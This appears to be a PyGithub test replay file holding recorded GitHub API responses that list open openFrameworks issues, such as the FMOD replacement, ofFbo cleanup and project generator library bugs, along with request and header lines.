Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/171","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"sexy shader example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:38:51Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166208,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-03T19:40:33Z","body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","closed_issues":0,"open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/167","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"replace fmod","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-04-06T12:13:31Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165898,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:56:41Z","body":"i have this working for 3d with selection buffer although it's meant to be slow i haven't had any problems","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/160","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":160,"html_url":"https://github.com/openframeworks/openFrameworks/issues/160","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofIsUnderMouse?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T21:39:19Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":165537,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:54:57Z","body":"Theo: I have this code uses the selection buffer. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/153","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":153,"html_url":"https://github.com/openframeworks/openFrameworks/issues/153","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"ofIsOnScreen - ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T18:49:10Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165409,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=14 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testIntIndexingInFirstPage.txt0000644000175100001660000014703514756101563026674 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald 